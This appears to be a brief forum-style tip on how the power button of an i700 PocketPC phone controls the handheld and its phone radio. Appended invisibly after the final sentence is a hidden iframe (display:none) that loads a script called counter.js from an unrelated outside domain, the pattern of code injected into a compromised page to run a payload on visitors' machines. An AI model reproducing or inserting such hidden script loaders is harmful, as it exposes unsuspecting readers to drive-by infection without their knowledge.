The manual can be a little confusing when it comes to what the power button does and does not control. After some trial and error here is what I came up with:

Holding the i700 in your hand the power button is the top button on the right hand side of the unit. This button when pressed momentarily will turn the PocketPC power on and off while leaving the phone radio on. Pressing and holding it for about 2 seconds will turn the phone portion on or off. Hint: You can also do that from the phone's pop-up menu by tapping the phone icon (next to the clock).<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>